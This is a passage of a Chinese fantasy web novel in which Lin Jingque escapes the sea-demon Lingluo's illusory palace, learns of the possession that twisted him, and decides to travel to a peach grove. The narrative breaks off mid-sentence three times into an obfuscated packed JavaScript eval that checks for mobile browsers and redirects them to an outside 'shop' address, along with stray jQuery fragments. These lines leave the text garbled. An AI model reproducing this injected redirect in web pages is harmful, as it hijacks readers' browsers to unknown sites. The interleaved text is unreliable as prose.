久离被他的话逗得笑出声,开口时声音极轻:“如何?与佞妖共生数十载,滋味可好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712800|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 这句话如同最后的导火索,彻底点燃了绫落的疯狂。他脑后的发丝无风自动,如同有生命的黑色海藻疯狂滋长。转眼便铺散至脚面,脸上那副温润假面彻底剥落,眼尾泛起不正常的殷红,杀意汹涌而出。 “我若杀了你!”他死死盯着久离,双手竟紧攥着刀刃滑至刀柄,鲜血自他掌心源源不断,又消散在海中。 他的声音因痛苦和愤怒而颤抖:“这世上便再无妖物能阻我与小鹊在一起!” “可是你很弱。”久离的声音压得极低,话音未落,他手腕一拧,竟在绫落体内将剑刃转了半圈。 “噗!”内脏被绞碎的痛苦让绫落身体剧烈痉挛,他垂眸望向胸前,又是一大口鲜血混合着内脏碎片喷出。 鲜血如同烟雾飘散。 他眼中的疯狂被无边的震惊和恐惧取代。怎么可能?!几年前久离来夺镇海冰晶时,他们明明还势均力敌!那日带回小鹊的时候,久离还被自己骗了个措手不及!他怎么可能在短短时间内,强横到如此地步?! 绫落痛得难以呼吸,可将他钉住的刀刃令他无法弯腰。 久离抽开刀,带出一蓬血雾。绫落瞬间失去所有支撑,无力地跪倒在地,只能用手勉强撑住身体。他抬起头,眉头紧蹙,望向久离时目眦欲裂。 “说吧,”久离垂眸看着他,“她在哪。” “说了就饶你不死。”伊恒在一旁冷冷补充。 绫落又是笑出声来,血珠不断自他嘴角滚落,他强撑着身子站起来,语气里满是挑衅:“你就算杀我十遍,百遍,我也绝对不会告诉你她的下落。” 他神色癫狂,血丝在他眼中蔓延:“她这一生,一世,千年万年,都只能跟我在一起!!!” 最后一个字化作咆哮,整个海底随之暴动!无数暗流如同失控的巨蟒般凭空涌现,裹挟着毁灭性的力量向久离和伊恒席卷而去。久离抬手挡在身前,朝伊恒低喝一声:“走!” 两人迅速后撤,退出殿外。 海水仍旧咆哮着在海底掀起波涛骇浪,呜咽声如同海妖一族的怨念,奔涌流淌将经过之处的一切都毁于一旦。 待那狂乱的水流稍稍平息,海妖宫竟已坍塌成一座废墟,只留下那片被鲜血染红的海水,证明着方才那场短暂的对决。 —— 书读完了,绫落仍旧没有来。 这些时间,她满脑子都是侍女苍白的脸,绫落冰冷的视线,和模糊记忆里绫落温和的面孔。 兴许是累了,她眯起眼睛,心跟着沉下去,灵魂却好像越飘越高。 书卷散在一旁,她趴在书案上,半梦半醒间,鼻尖似乎萦绕起一丝温暖阳光的味道。有人似乎就坐在不远处问她: “小鹊,今天你想听什么故事?” 林惊鹊不知为何觉得心里快暖化了,她闭着眼睛,缓缓开口:“我要听永恒大人开天辟地的故事。” 那人点头应下,翻开放置在膝上的书,故事便从他口中温和地流淌而出。 林惊鹊觉得自己幸福得快要睡去了。 故事不知什么时候结束了,那人合上书,又问道:“今天还想去岸上玩吗?” 可画面突然一转,阳光消散,视线里的一切又变得昏暗。 林惊鹊又对上那扇紧闭的门。同绫落长相几乎无异的少男蹲在她面前,扶着她的肩膀轻声道:“小鹊,不要再找绫落了好不好?” “他什么都有,王位,父王的爱,如果你也选他,那我就什么都没有了。” “如果你想出去玩,我也可以陪你啊。我不再丢你自己一只妖在房里了,你不要再对他笑了好不好?” 林惊鹊歪过头,少男天青色的眸子弯起:“我带你去禁地好不好?绫落从没带你去过吧……” 至此,外面传来咣当一阵巨响,整个寝殿摇摇欲坠,她听见一声清晰的碎裂声,就如同她在藏书阁听见的那样。 林惊鹊几乎瞬间清醒,抬起头望向门边。 蓝色光晕在门上漾开一圈圈涟漪,她走过去,双手并未用力,轻轻一推,门竟开了。 11. 第 11 章 门外依旧空无一人,长廊里烛台闪烁微光,给冷寂的正殿添了几分森然。林惊鹊小心翼翼向前迈步,周遭寂静,落步声都显得刺耳。 远方再度传来什么东西断裂的声音,她呼吸一凛,顾不上细想,奔出大门外。 外头如往常般昏暗,错综复杂的建筑仍旧绵延不断。她抬起头,赫然看见天边裂开了一道缝隙,蓝光在其上闪烁。 碎裂声又响,那道裂隙像条细蛇一般,又蜿蜒出一段距离。 四顾无人,她攥紧拳头。这碎裂声同那她先前在藏书阁听见的无异。 是有其他人碰了那块玉砖吗?她必须得去藏书阁一趟。 林惊鹊甩开袖子,不假思索向前跑去。周遭小路开始扭曲,两侧建筑如同洗牌一般不断变换形状。她在心底念叨着: 藏书阁,让我去藏书阁! 墙壁缓慢移动,周围建筑逐渐退去,不多时,那栋寻常小楼再度映入她眼中。 她又望了一眼天边裂隙。 如今她终于能够确定自己身处于何地,她不能很准确地描述,只能想象出一个完整的蛋壳,而她正被绫落关在蛋壳里。 如果她想的没错,只要打碎蛋壳,她就能离开了。 小楼逐渐逼近,再拐过一道回廊林惊鹊便能抵达藏书阁。她刚放缓些脚步,呼吸在胸腔还未喘匀,眼角余光却忽地瞥见身侧的砖石上有一道拖长的,触目惊心的血迹。 周遭完全没有任何打斗痕迹,血迹独自蜿蜒,一直隐没到拐角。 她的呼吸随着血痕远去而逐渐停滞。 血痕的尽头,盘卷着一袭华服。水色亮眼,被猩红浸透,格外刺目。 她皱了下眉,眯起眼睛试图看清那为何物,浓稠的血腥味扑面而来,下一秒,那人动了。 破碎的衣衫堆在他的脚边,血液将其浸透像一条斗鱼破败的尾鳍。他撑起身子缓缓转过头,林惊鹊面不改色地注视着,心跳却猛地跳动了一下。 是绫落。 纷乱的长发下是他从未示人的狼狈,那张脸几乎被尽数遮挡,露出的部分像纸一样苍白。瞳孔不知为何变得漆黑,内里依旧无光,扩散到几乎占据了整只眼睛。他的呼吸太刺耳了,浑身都随着胸膛起伏而颤抖,身下血液越淌越多,林惊鹊看到,他脖子上的裂口正在一开一合。 “别……别看我……” 绫落的声音粗哑浑浊,下一秒,他慌忙用袖子遮住脸,身体缩得更紧,浑身发颤。可他压根没法完全遮住自己,脸上的皮肤纷纷剥落: “不要看!谁允许你出来的,走啊!!” 话音未落,他又如遭雷击般捂住嘴,遮挡面容的手缓缓放下,露出其下狰狞的面孔。 “别走,别走……小鹊……” 绝望瞬间淹没了愤怒,他撑起身子,用手作爪,颤抖地爬向她。 林惊鹊垂眸,望向那上面覆盖的鳞片。 她向后退了半步,而后转身便逃。 她承认此时心中隐有惊骇,这感觉同当初面对哀时不同。那时她对这群人了解不多,盲目自信时觉得自己总有脱身之法,可绫落……真的会永远囚禁她。 目的地仍旧是不远处的藏书阁,林惊鹊听见身后响起绫落几近尖啸的喊声:“回来!!林惊鹊!!你回来,不许丢下我!!!” 周围的建筑随着绫落的叫喊声开始疯狂地扭曲又重组。可这些变幻相比之前明显力不从心。 墙壁的移动缓慢如蜗牛,新的道路生成到一半便卡住,藏书阁的位置大概只挪动了几丈远,林惊鹊毫不犹豫,一头撞了进去。 大门摇摇欲坠,灰尘纷扬掀起一层薄薄烟雾。林惊鹊顾不上身上疼痛,她攥拳举起手,冲向那块玉砖—— 她没能砸下去。 绫落突如其来的身影以撞击的力度将她死死抱在怀中,冰冷的吐息喷在她耳侧,带着彻头彻尾的恐慌: “不……不不不!!小鹊……小鹊不要走,你不能离开我……我的世界里就只差一个你了,只差一个你就完美了……” 他抱得太紧,林惊鹊险些无法呼吸。可那些言论又诱她发笑。她索性不再挣扎,轻声问道:“你当真把我当做如此重要之人?” 绫落忙不迭地点头,扼住她腰腹的手掌上移,将她紧攥的手包进自己的掌心,如同抓住最后一根救命稻草。 “你是我在这世间最珍惜的……我无论如何都不会伤害你。林惊鹊,求你不要丢下我……我存在于这世间的意义便是等到你……” 他语调卑微,句句深情到令人窒息。林惊鹊却觉得一种深沉的无奈漫上心头。 “可是。”林惊鹊勾起唇角,字字珠玑,“你根本不在乎我的感受。” “每天把我当成是一个玩偶随你摆弄,顺你心意便事事应允,不顺了就关起来不闻不问,这就是你说的重要,这就是你想构建的完美世界?” “如同你所说的,你的完美世界,只缺一个我。” “可你只在乎自己的心情,根本没有想过,我不喜欢。” “我不喜欢这一切,也不喜欢你。” “没有过去,不谈未来,唯独现在,我讨厌你。” 林惊鹊安静地任由绫落环抱,她感受到他的喘息放缓又逐渐急促,震惊,懊恼,在他体内流窜,情绪于他体内破碎重构又再次看似悲戚地冲上头顶。 “不,不!你不能走!都是因为你,就是因为你,我才变成如今这样!” 他理智尽失,一双带着利爪的手攥住林惊鹊的手腕。他的面容比方才更加可怖,皮肤尽数脱落,人类的的形态已经完全丧失,取而代之大片深蓝或暗紫色的鳞片爬满全身,那双漂亮的眼睛几欲眦裂,他吼着: “你不能不管我……都是为了你,我将他杀了,我将他们都杀了!我如今什么都没有了!你不能如此对我,我等了那么多年才等到你,你不许走,不许丢下我……!!” 这喊声刺耳,林惊鹊紧紧闭起眼睛,她只觉得浑身都痛。 头痛,手痛,腰也被他勒得好痛。 她想不明白,为何脑中偶尔闪回的记忆里,绫落的形象总是温和美好,可如今却如此苦大仇深,她叹气,鼻腔中又嗅到绫落身上的血腥味,脑中紧跟着再度闪入无数画面。 像有人在她面前强行铺开一卷画轴,十几米长,却只花了五秒钟便从头拉到尾。 可她还是看清了一个画面,幽深的海底卷起汹涌的,意图将她吞没的龙卷。有人挡在她身前,身体被龙卷整个洞穿,浓稠到漆黑的鲜血瞬间被海水卷走,可那人却始终未动过分毫。 她听见自己带着哭腔喊得撕心裂肺:“绫落哥哥不要啊!” 而现实中的她,在看见脑中的这一幕后,耸动肩膀笑出了声。 这笑声割裂了绫落的嘶吼,他愣怔着,而林惊鹊侧过头,瞧着绫落漆黑的瞳孔。一寸寸往下,从撕裂的领口,染血的衣襟,一直望向他布满鳞片的腿。 她笑得更加肆无忌惮:“你瞧瞧你,哪还有一丁点海妖之子的样子。” “不要走?你留住了谁?曾经不是为了不辜负父王的期待一直在努力吗?可为什么当上海妖王的是绫玉,不是你?” 绫落的面色更加苍白,环住她的隐隐有些松懈。 “不是我害你搞砸的。别把这些事情全部怪在我头上,你杀了谁,思念谁,全部都跟我没有关系。” 林惊鹊死死盯着他:“我不是你们兄弟两个互相争抢的玩具。不要把你对他的感情投射到我身上,这让我觉得荒唐,恶心。” 绫落难以置信:“小鹊,你怎么能这么说,你曾经明明……” “很开心是吗?”她打断他,继续道:“如若是曾经的绫落哥哥,那我可能仍旧开心。毕竟……” 她故意放慢了语速,像是有意要观察绫落的反应: “毕竟过去的绫落哥哥,愿意为了我去死。” 语毕,绫落脸上的表情完全僵住,他浑身发颤,呼吸卡在喉头发出嘶哑的喘息声,他几欲呕吐,手上动作完全松懈。 有这一瞬便够了。 林惊鹊身体向前一挣,绫落尖锐的爪子顷刻间在她手臂上留下几条触目惊心的血痕。可她根本无暇顾及疼痛与否,带着蛇戒的那只手弯曲成拳,砰地一声砸在玉砖上。 巨大的能量瞬间将藏书阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712801|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内所有东西全部掀翻,唯有林惊鹊紧闭着眼睛,稳稳跪坐在原地。 “不不不……你停下!!”绫落的声音因恐惧而扭曲。可林惊鹊压根没工夫看他。 玉砖上的裂纹疯狂蔓延,细密的碎裂声伴随更加遥远的破裂声充斥在她耳边,她手上不停歇,手臂再次抬起—— 绫落以更疯狂的气势扑了上来,那双手臂如同铁锁一般从身后将她死死缠住,用尽残存的力量,向后将她拖离那块玉转。 “放开我!!”林惊鹊拼命挣扎,指腹扒在地面,血填满了砖上的凹陷。 明明只差一下的,明明只差最后一下的! 强烈的不甘在林惊鹊心底升腾,她嘶声力竭地尖叫,身体如同濒死的困兽一般疯狂挣扎。手肘,腿,脑袋,所有能攻击的部位都成了武器,她不顾一切地向后攻去,她能听见绫落压抑的闷哼,勒住她的手臂却纹丝不动。 “我不在乎你怎么想我,只要你一直呆在这里就足够了……” “我现在只想你死!” 林惊鹊眼中闪过厉色,她拼尽全力扭过身,抬起手指毫不犹豫地插进了绫落涣散的双眸中。 血雾蔓延。 “啊啊啊!!!” 绫落的身体猛地弓起,不似人声的尖啸从他喉中爆发出来。他也因此终于松了手,林惊鹊再没任何犹豫,她扑到玉砖之上,五指弯曲成拳像是握住一柄无形利剑,朝着玉砖狠狠刺下。 “不,不要!林惊鹊!!” 伴随绫落的尖叫声,时间仿佛在这一刻被无限拉长。没有巨响,只有一声及其清脆悠长的嗡鸣。 以她的拳头为中心,玉砖之下喷涌出吞噬一切的白光,瞬间吞没了整个藏书阁。 林惊鹊跪坐在原地,黑发被气浪疯狂向后拉扯,衣袂翻飞。 她眯起眼,强忍着几乎要刺瞎双眼的光芒。她看见了,白光之后,不是宫殿,而是深邃,幽暗,涌动着的海水。 蛋壳,被她打碎了。 狂喜只升起一瞬间,就被身后骤然响起的低低笑声打断。 林惊鹊回头,绫落同她一起跪坐在这片苍白之中,他闭着眼,眼下是两道未干涸的深红。 “你身上的味道真令人熟悉,我已经好些年没闻到这种味道了,你从外面来,对不对?” 可他开口,嗓音却完全不是绫落的声音。 “啊,我记得你。林惊鹊……当年这孩子为了救你竟然以身犯险,如此令人动容,你说是不是?” 林惊鹊皱了下眉。 绫落体内突然飘出一个女人的身影,她全身几近透明没有具体的形状,在这一片苍白中不断闪烁着。 “倘若我是他,从你被抢走那天就把那个绫玉杀了以绝后患,他竟不允许我这样做,可后来不还是把他们都杀了。” 林惊鹊惊奇于她的自说自话:“你是……” 谁字还未说出口,那女人瞬间扑到林惊鹊眼前。林惊鹊大气没敢出,眼前铺满女人七窍流血的脸。可女人并没有进一步动作,她似乎很满意林惊鹊的表现,低声笑着,缓缓撤回了绫落体内。 她笑得灿烂:“真可爱。” 林惊鹊脑中飞速旋转,最终回忆起在藏书阁翻开的空白书,那里面曾提及绫落被什么东西附身过:“……佞妖?” 女人啧了一声,语气明显不满:“别说得这么难听。我可不是妖怪。” 她继续说道:“你说,如果绫落知道,我当年压根就没法抢夺你的身体,也伤不了你分毫,他会不会后悔救你?” 什么?林惊鹊只觉的额角惊跳,绫落还在笑,她似乎说了些什么,却被四周越来越清晰的浪涌声淹没。 白光逐渐消失,林惊鹊看着绫落一点点沉没,而她却逐渐上浮,身体不受控制向海面漂去,她抬起头望见了现实与幻境交界的缺口。 然后,冰冷的海水彻底淹没了她的感官。 咕噜噜。 现实的水流汹涌地灌入耳鼻,带着海底特有的腥味和彻骨的寒意。她看见朦胧的、透过海水折射下来的天光,她听见耳边传来谁的声音: “林惊鹊,醒一醒,不要睡。” 12. 第 12 章 “小鹊,我给你带了丁香结。” “小鹊,父王赏了我一枚金珠,你可喜欢?” “小鹊……” “小鹊……” 一声声呼唤,像是从很深的水底传来。 是绫落在说话吗? 林惊鹊睁不开眼,却仍感觉身前似乎有人影浮动。耳边是朦胧又温和的的嗓音,她感觉自己仿佛飘浮在柔软的云层里,暖光照耀,带着她飞进茂密的花丛。 还未等她多做停留,呼唤她的声音倏然变作了女声。由远及近,到最后几乎是直接在她脑海中响起: “小鹊,你答应过我的,不要让我失望。” ……是谁? 她猛地睁开眼,光线刺目。她下意识抬手去挡,奈何胸腔里骤然抽搐,她咳嗽着侧过身,呕出好几口咸涩的海水。 “醒了?你感觉如何?” 银色发丝垂落眼前,林惊鹊侧目去瞧。视野渐渐清晰,久离就蹲在她面前,那双素来冰冷的眼睛里,此刻盛满隐不去的关切。 “死不了……” 她声音沙哑,勉强扯出个笑。 “你可真叫妖好找,”伊恒的声音紧接着响起,带着几分后怕的抱怨,“久离和我在海妖宫寻寻觅觅那么久,结果你倒好,竟独自漂在海上。怎么回事啊,绫落那家伙大发善心了?” 他嘴里唠叨不停,手背却已贴在林惊鹊额头。触手一片温凉,并为发热,他这才几不可闻地松了口气。 久离托着林惊鹊的后脑,让她靠在自己曲起的膝上,他抬手向伊恒:“水。” 伊恒忙不迭地递来盛水的叶子。卷起的树叶垫在唇下,清冽的水流滋润了干涸的嘴唇,林惊鹊才觉得自己真的活过来了。 她靠在久离腿上,合眼细细将腹中气息喘匀,道:“你们来得太慢了。” “对不起。” 林惊鹊抬眸,对上久离低垂的视线。阴影笼罩下来,他眉宇间带着罕见的,毫不掩饰的歉疚: “我承诺过会护你周全,结果没能做到。甚至……连一点忙都没能帮上。” 林惊鹊完全没料到久离会道歉。短暂地讶异退去后,心底竟涌上一丝难以言喻的欣喜。 男人头顶的狼耳向后隐去,眉尾低垂,初见时的冷硬在此刻荡然无存。她甚至能听见尾巴扫过地面的沙沙声。久离的不安发自内心。 林惊鹊也发自内心地觉得自己更像昏君了。 “无妨……多大的事。”她抬起手揉揉因强忍笑意而越发僵硬的脸。表情管理即将崩盘,林惊鹊忙转头调整神情。 视线下落时,却瞧见一旁还站着个老龟。 海龟,紧闭着眼,还穿衣服。 “他是谁?”林惊鹊惊得差点从久离腿上弹起来。 伊恒撇撇嘴:“你恩公,若不是他,估计你现在还在海上漂着呢。” 林惊鹊迟疑片刻,问:“是他把我从海上带到这儿的?” 老龟闻言笑道:“非也。老夫不敢居功,寻你当然是这二位小友所做,老夫只不过是尽该尽之责罢了。” “什么该尽之责?”林惊鹊追问。 话至此处,老龟向久离和伊恒的方向微微颔首:“可否请二位暂避片刻,容老夫姑娘单独一叙?” 两只妖退至不远处的树下,是一旦有危险便能及时赶过来的距离。 林惊鹊收回望向他俩的视线,那老龟依旧捋着胡须,望着她的时候笑意盈盈。 “所以,究竟是什么事,还需要如此神神秘秘?” 林惊鹊心中有些许期盼,难不成这老龟也知道她的过往? 老龟缓缓开口,声音苍老而浑浊:“孩子,老夫在此等候了多年,终于再次等到你沾染这片潮汐。” “你我早在在百年前,甚至可能更久之前便已见过。我窥见你周身布满遗忘,但这并无大碍,永恒尊上的气息并未从你身上完全剥离。” “啊?” 林惊鹊越听越茫然。这老龟说的是人话,哦不,是妖话吗?就这还需要屏退众人?就算再来十个久离跟她一起听,她也听不明白啊。 老龟没有回应林惊鹊的疑惑,继续道: “常言道,天机不可泄露。永恒尊上曾于此地给予我窥见之力,至此,老夫才得以一直在此处等你,便是要为姑娘指引一条你须该前往的路。” “我须该前往的路?” “桃林。” 桃……林? 这两字如同惊雷,劈进林惊鹊的脑海。 她瞬间感觉一股盘旋不下的气哽在胸口,上下不得。 她对这地方说熟也熟,上百次在梦中被追杀到那里,漫天桃花最终都化作脚下的血泊。 她至今还没弄清楚,那个被她死死护在怀里的东西究竟是什么。 林惊鹊忍不住追问:“您既然得以窥见天地,那可知被我盗走的那东西,如今正在何地?” 老龟依旧含笑摇头:“孩子,你前往桃林便是为了给自己一个答案。老夫固然可以窥见,却也仅是窥见罢了。你内心所想所求,老夫不得而知,亦不便妄加指点。” 问了等于白问。林惊鹊内心刚升起的希望火苗,又渐渐熄灭。 “既如此,老夫的职责也算达成了。姑娘,我们后会有期。” 老龟再度作揖,便要离去。林惊鹊脑中却灵光一闪,她赶忙出声叫住他: “等一下,老先生。永恒……究竟是谁?” “等到时机成熟,你们自会相见。” 老龟只留下这一句话,便哼着歌,慢悠悠地踱步离开了。 为何这里的人,说话都如此云山雾绕? 林惊鹊望着那蹒跚的背影出神,如果没记错的话,这个老龟是来给她送消息的吧?可为何他说了这么多,就一句桃林是有用的? 正思忖着,久离的声音已在耳畔响起:“他同你说了些什么?” 林惊鹊还未回过头,伊恒又在另一侧出了声:“肯定又是什么职责什么天机的,他就没说过一句能听得懂……” 伊恒话还没说完,就见林惊鹊对着他猛地一阵点头。他无奈耸肩:“看吧,我就知道。” “所以,你想去桃林?” 老龟的讲述本就充满谜语,经过林惊鹊的复述之后,久离也只听得这唯一的重点。他微微皱紧眉毛,垂首望着眼巴巴盯着他的林惊鹊,正准备拒绝,谁料林惊鹊双手合十,语气放软了许多: “拜托了,你之前答应过的,如果路遇村庄,可以让我前往打听一二。” 她现在已经完全清楚自己身处在一个何等危险的地方,而久离是她目前唯一能抱的大腿。 可谁料久离还未开口,伊恒立刻反对: “那说的顺路,你知道桃林的彩羽的住处离得有多远吗?远都不足以形容,那根本就是相反的方向!” 林惊鹊面无表情地推开伊恒,转而继续用那种恳求的目光望着久离: “我不会耽误太多时间,我们速战速决。实在不行……我自己去?” 伊恒又叫:“那更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712802|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行!” “这也不行那也不行,那你说如何!”林惊鹊的耐心不多,伊恒两句话就将其耗光了,她皱眉:“我来都来了,你们不能光想着自己的事吧?我又没说不跟你们走,双赢的事情,不必闹得这么僵吧?” 说完,林惊鹊瞥又挂上那副笑嘻嘻模样望着久离,声音与方才判若两人:“你说是吧,久离。” 伊恒直接哑口无言,久离承受着她热情的目光,终是轻叹一声:“行。” “行?!”伊恒难以相信自己听到了什么,林惊鹊转头对他做了个鬼脸,气得他喊道: “久离,我们现在不是去游山玩水,是要去找信河殿下啊!我们寻了林惊鹊数十年才得到结果,万一节外生枝,你要怎么办,要信河殿下怎么办?!” 久离转眸盯了他片刻,开口道:“他现在不在,以及那是你该考虑的,不是我。” 伊恒脸上血色尽褪,声音颤抖:“你这是什么意思?我知道你近些年越来越强,可你也越来越奇怪!你不该说这些话!是信河殿下给了我们第二次活着的机会!” “那是你,别把我算进去。” “……你!你要跟我在其他妖面前吵架?” 霎时间,乌云蔽日,狂风骤起,却吹不散这两只妖间剑拔弩张的气氛。 林惊鹊被这突如其来的对峙惊到。她原本以为伊恒只是个跟班,而久离只不过是个职位更高一点的跟班,可现在看来事实好像并非如此。 “你记着,我听从他的话,自有我的不得已。而你,没资格命令我。” 说完这句话,久离没再看伊恒一眼,径直走到林惊鹊身边,道: “今日天色已晚,前方有处荒村,我们暂且那里歇歇脚,明日再议,如何?” 林惊鹊点头,久离见状便朝着荒村的方向走去。走出几步,又回头唤她: “跟上。” 林惊鹊嘴上应和着,不忘回眸望一眼不远处的伊恒。他仍愣在原地,目光却死死黏在久离的背影上,其中色彩,复杂难辨。 虽然二妖争吵,但伊恒仍旧不远不近地跟在了后面。林惊鹊走几步便忍不住回头瞧一眼,只见他耷拉着脑袋,一副丧气模样。 “你俩经常这样……?”她凑近久离,压低声音询问。 久离目不斜视,过了许久,久到林惊鹊以为他不会回答时,才听到他淡淡道: “是,经常。” 林惊鹊试图让气氛轻松些,打着哈哈道:“看来伊恒是真心敬爱那位信河殿下。” 这次久离回应得极快,他侧首看了林惊鹊一眼:“你不必称他殿下。他本也不是什么殿下。” “啊?”林惊鹊愣了一下,“那伊恒……” “他很依赖信河。信河救过他的命。” “那确实可以理解……” 林惊鹊嘴上应和着,心里却闪过一丝异样。她分明记得,伊恒当初说的是,信河给了他们两个重活第二次的机会。 重点是,两个啊。 “那你……”她忍不住想问下去。 “到了。”久离却再次打断她。 天色已近深夜,她几乎看不清任何东西,久离的声音却在这一片漆黑中显得格外清晰: “前几日寻你时,我已探查过此地,并无危险。你可以挑一间暂且歇息,我和伊恒会在外面守着,不必害怕。” 他顿了顿,垂下眼眸,目光落在林惊鹊脸上:“我跟信河,除你以外,并无牵连。” 林惊鹊默声,转头进了屋子。 13. 第 13 章 这荒村虽久无人烟,床榻倒还能将就。只是林惊鹊躺下后,翻来覆去,睡不安稳。 一阖眼,绫落泣血的模样便在她脑中浮现。 与哀当初的穷追不舍截然不同,绫落只是安静地站在远处,用那双瞎了的眼睛注视着她。 他说:“小鹊,都是因为你……” “我杀了兄长,屠尽亲族……只为构筑一个仅有你我的世界。” “……为何弃我?我孑然一身等你归来,为何……” “你怎么能这样对我?” 那声音仿佛从她脑海深处响起。林惊鹊烦躁地咂了下舌,索性翻身坐起。绫落识相地不再纠缠,可林惊鹊也随之睡意全无。 房内空旷无光,就算不睡也没有别的事可做。 罢了,还不如出门走走。 这念头刚起,她便隐约听见一阵熟悉的笛声幽幽传来。她仔细听去,竟是久离吹过的那首曲子。 推开门,伊恒闻声转过头来。 他面色仍旧不太好,嘴唇张合几次,才闷声问:“你怎么还不睡?” “睡不着,”林惊鹊朝笛声方向偏了偏头,“去听听久离吹曲子。” 村子离海岸极近,没走几步便能听见逐渐清晰的浪涌声。夜色浓重,林惊鹊几乎看不清脚下,伊恒便默默在前引路,直将她带到沙滩边缘。 笛声愈发明晰,伊恒在此停步,不再往前。林惊鹊会意,顺着他示意的方向望去,果然看见久离独自坐在前方的背影。 “上次问你师承何人你不肯说,那这首曲子叫什么,你总愿意告诉我了吧?” 她走近,轻拍他的肩。笛声戛然而止,周遭只剩下永无止境的浪涛声。 久离抬头,沉默片刻才道:“其实我也不知。” “不知道还能吹得这么好?” 他收回视线,声音低沉:“太久远了。我……想不起来了。” 林惊鹊扶着他的肩膀在他身旁坐下:“能有多久远?你多大年纪?一百岁,两百岁?” 久离没有回答,只是垂下眼眸,指尖轻轻抚过笛身。 “其实我也会吹笛子。”林惊鹊歪过身子凑近,又倾身往前仰起脸去瞧他的眼睛:“听伊恒说,你只会这一首。要不要我教你点别的?” “不必,我会这一首就够了。” 林惊鹊故意拖长了音调“诶——”了一声,权作调侃。之后,两人便陷入了沉默。 久离不再吹笛子,林惊鹊也一声没吭。 海浪声填充了每一寸寂静的空隙。 夜色太浓,无星无月。白日里那片莹蓝的海,此刻漆黑而不可视,变作了吃人不吐骨头的深渊。 不知怎的,绫落最后那副遍布鳞片的鬼样子再度出现在林惊鹊脑海里,又一次攫住了她的思绪。 她眯起眼睛,轻声开口: “你说,绫落他……究竟是经历了什么?” “嗯?”久离侧目看她。 “最后那一刻,我瞧见他浑身是血,鳞片爬满全身,不妖不鬼,像是被诅咒了一般。” “他甚至说……他变成那样,全都是因为我。” 说到这里,她低低笑了两声,随即又低下头。 两人再度无言。 时间在黑暗中失去概念。林惊鹊不知道究竟过了多久,她总觉得很漫长,就如同还在海妖宫时一样。 她觉得无趣,正准备离开,久离却开口道: “不,不是你的错。” 毫无意义的一句安慰。林惊鹊耸了下肩,并未准备停留。可久离却伸手拽住了她的手腕。 “作何?天不早了,快让我回去吧。”她本有些不耐烦,可回过头时,久离从怀中掏出的东西却擦亮了她的眸光。 是一枚靛蓝色的宝石吊坠,水滴形,亮闪闪的,在发光。 它就坠在久离手中轻轻摇动,光泽顺着宝石表面晃过一圈。最终映照出林惊鹊逐渐转作疑惑的模样。 “这是……?”她移不开眼,万千熟悉的感觉漫上心头。她伸出手触碰上那抹光泽。久离适时松开,吊坠便稳稳地落入她的掌心。 “镇海冰晶。许多年前,信河命我去夺来的。” 他移开眸子,声音很低:“他说你会喜欢,仅此而已。” “我喜欢?” 林惊鹊疑惑。她记得这东西,绫落和那本空白书里都曾提到过,它是海妖族的至宝。 绫落甚至说过,她喜欢此物喜欢到要把它串成项链。 而它现在也当真是一枚项链了。 可现在的她面对这东西,心中并无波澜。 难不成因为失忆所以把喜欢的感觉也一并忘了? 如此想着,她细细去瞧。宝石内里闪过湛蓝色的光晕,透过平滑柔腻的切面,她似乎瞧见了暗藏其中,汹涌的波涛。 看得越久,她越觉得胸中鼓起经久不息的风,心脏被拖起,悬着。 绫玉那张温润的脸突兀出现在宝石中,林惊鹊听见他笑着说: “小鹊,我知道有个地方藏着一颗特别漂亮的宝石,我取来给你,好不好?” “无妨,一颗宝石而已,最衬小鹊的笑容了。只是,我们要偷偷去,权当冒险,你不要告诉绫落,也不要讲给其他侍从听,可好?原因嘛,告诉他们之后,我们定是去不成了,你不是最喜欢出去玩了吗?这是你跟我的秘密,好不好。” 绫玉自始至终都在笑,林惊鹊心中如临大敌一般的不安感却愈发强烈。 她想起来了。 绫玉说完这些话,脑中连贯衔接上的,竟是绫落挡在她身前,被洞穿的画面。 她感觉胸腔发紧,额头也紧。眉头不由自主地压紧了眼眶,嘴唇也一并轻轻发颤。 “我从来……都没说过想要这东西。” 她声音极轻,几乎被海浪声掩盖,但久离仍旧听清了。 他侧过头,望着林惊鹊被风凌乱的侧脸,她举着那枚宝石,强忍着越来越重的呼吸:“绫玉,他骗我。” “他骗我说要把这石头送我,只说觉得我会喜欢,可从没说过它有什么用途。” “它是海妖族镇压佞妖的力量来源,绫玉以我为借口碰了它,害得绫落变成如今这副模样。” 她越说越快,转过头盯着久离时目光灼灼:“那位信河又是从何而知我喜欢这东西的?” 久离与她对视片刻,银灰色的眸子深不见底:“我只是奉命行事。” 